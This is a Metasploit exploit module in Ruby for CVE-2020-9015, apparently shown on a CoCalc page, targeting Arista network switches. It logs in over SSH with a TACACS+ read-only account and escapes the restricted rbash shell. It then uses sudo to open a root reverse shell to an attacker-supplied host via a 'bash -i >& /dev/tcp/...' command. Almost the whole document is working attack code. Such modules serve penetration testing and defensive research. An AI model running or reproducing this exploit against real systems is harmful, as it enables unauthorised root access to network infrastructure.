CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8

9
class MetasploitModule < Msf::Exploit::Remote
10
  Rank = GreatRanking
11

12
  include Msf::Exploit::Remote::SSH
13
  include Msf::Auxiliary::Report
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        'Name' => 'Arista restricted shell escape (with privesc)',
20
        'Description' => %q{
21
          This exploit module takes advantage of a poorly configured TACACS+ config,
22
          Arista's bash shell and TACACS+ read-only account to privilage escalate.
23
          A CVSS v3 base score of 9.8 has been assigned.
24
        },
25
        'License' => MSF_LICENSE,
26
        'Author' => ['Chris Anders'],
27
        'References' => [
28
          [ 'CVE', '2020-9015'],
29
          [ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],
30
          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],
31
        ],
32
        'Arch' => ARCH_X86,
33
        'ConnectionType' => 'find',
34
        'DefaultTarget' => 0,
35
        'DefaultOptions' => {
36
          'Payload' => 'linux/x86/shell_reverse_tcp'
37
        },
38
        'Notes' => {
39
          'Stability' => [CRASH_SAFE],
40
          'Reliability' => [REPEATABLE_SESSION],
41
          'SideEffects' => [IOC_IN_LOGS]
42
        },
43
        'DisclosureDate' => '2020-02-02',
44
        'Platform' => 'linux',
45
        'PayloadType' => 'cmd_interact',
46
        'Privileged' => true,
47
        'Targets' => [ [ 'Universal', {} ] ]
48
      )
49
    )
50

51
    register_options(
52
      [
53
        Opt::RPORT(22),
54
        OptString.new('USERNAME', [true, 'Username to login with', '']),
55
        OptString.new('PASSWORD', [true, 'Password to login with', '']),
56
      ]
57
    )
58

59
    register_advanced_options(
60
      [
61
        Opt::Proxies,
62
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
63
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),
64
        OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
65
      ]
66
    )
67
  end
68

69
  def check
70
    opts = ssh_client_defaults.merge({
71
      auth_methods: ['password', 'keyboard-interactive'],
72
      port: rport,
73
      password: password
74
    })
75

76
    begin
77
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
78
        Net::SSH.start(rhost, username, opts)
79
      end
80
    rescue Rex::ConnectionError
81
      return CheckCode::Safe
82
    rescue Net::SSH::Disconnect, ::EOFError
83
      return CheckCode::Safe
84
    rescue Timeout::Error
85
      return CheckCode::Safe
86
    rescue Net::SSH::AuthenticationFailed
87
      return CheckCode::Safe
88
    rescue Net::SSH::Exception
89
      return CheckCode::Safe
90
    end
91

92
    CheckCode::Detected
93
  end
94

95
  def rhost
96
    datastore['RHOST']
97
  end
98

99
  def rport
100
    datastore['RPORT']
101
  end
102

103
  def lport
104
    datastore['LPORT']
105
  end
106

107
  def lhost
108
    datastore['LHOST']
109
  end
110

111
  def username
112
    datastore['USERNAME']
113
  end
114

115
  def password
116
    datastore['PASSWORD']
117
  end
118

119
  def exploit
120
    factory = ssh_socket_factory
121

122
    opts = {
123
      auth_methods: ['password', 'keyboard-interactive'],
124
      port: rport,
125
      use_agent: false,
126
      config: false,
127
      password: password,
128
      proxy: factory,
129
      non_interactive: true,
130
      verify_host_key: :never
131
    }
132

133
    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
134

135
    print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...")
136

137
    begin
138
      ssh = nil
139
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
140
        ssh = Net::SSH.start(rhost, username, opts)
141
      end
142
    rescue Rex::ConnectionError
143
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
144
    rescue Net::SSH::Disconnect, ::EOFError
145
      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
146
    rescue ::Timeout::Error
147
      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
148
    rescue Net::SSH::AuthenticationFailed
149
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
150
    rescue Net::SSH::Exception => e
151
      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
152
    end
153

154
    fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
155
    begin
156
      payload_executed = false
157
      print_good('SSH connection established.')
158

159
      ssh.open_channel do |channel, _data|
160
        print_status('Requesting pty rbash')
161

162
        channel.request_pty do |ch, success|
163
          fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success
164
          print_good('PTY successfully obtained.')
165

166
          print_status('Requesting a shell.')
167
          ch.send_channel_request('shell') do |cha, _succ|
168
            fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success
169
            print_good('Spawned into arista rbash shell.')
170

171
            cha.on_data do |_xx, data2|
172
              if data2.include?('#') && !payload_executed
173
                print_status('Attempting to break out of Arista rbash...')
174
                channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")
175
                payload_executed = true
176
                print_good('Escaped from rbash!')
177
              end
178
            end
179
          end
180
        end
181
      end
182
      ssh.loop unless session_created?
183
    rescue Errno::EBADF => e
184
      elog(e.message)
185
    end
186
  end
187
end
188

189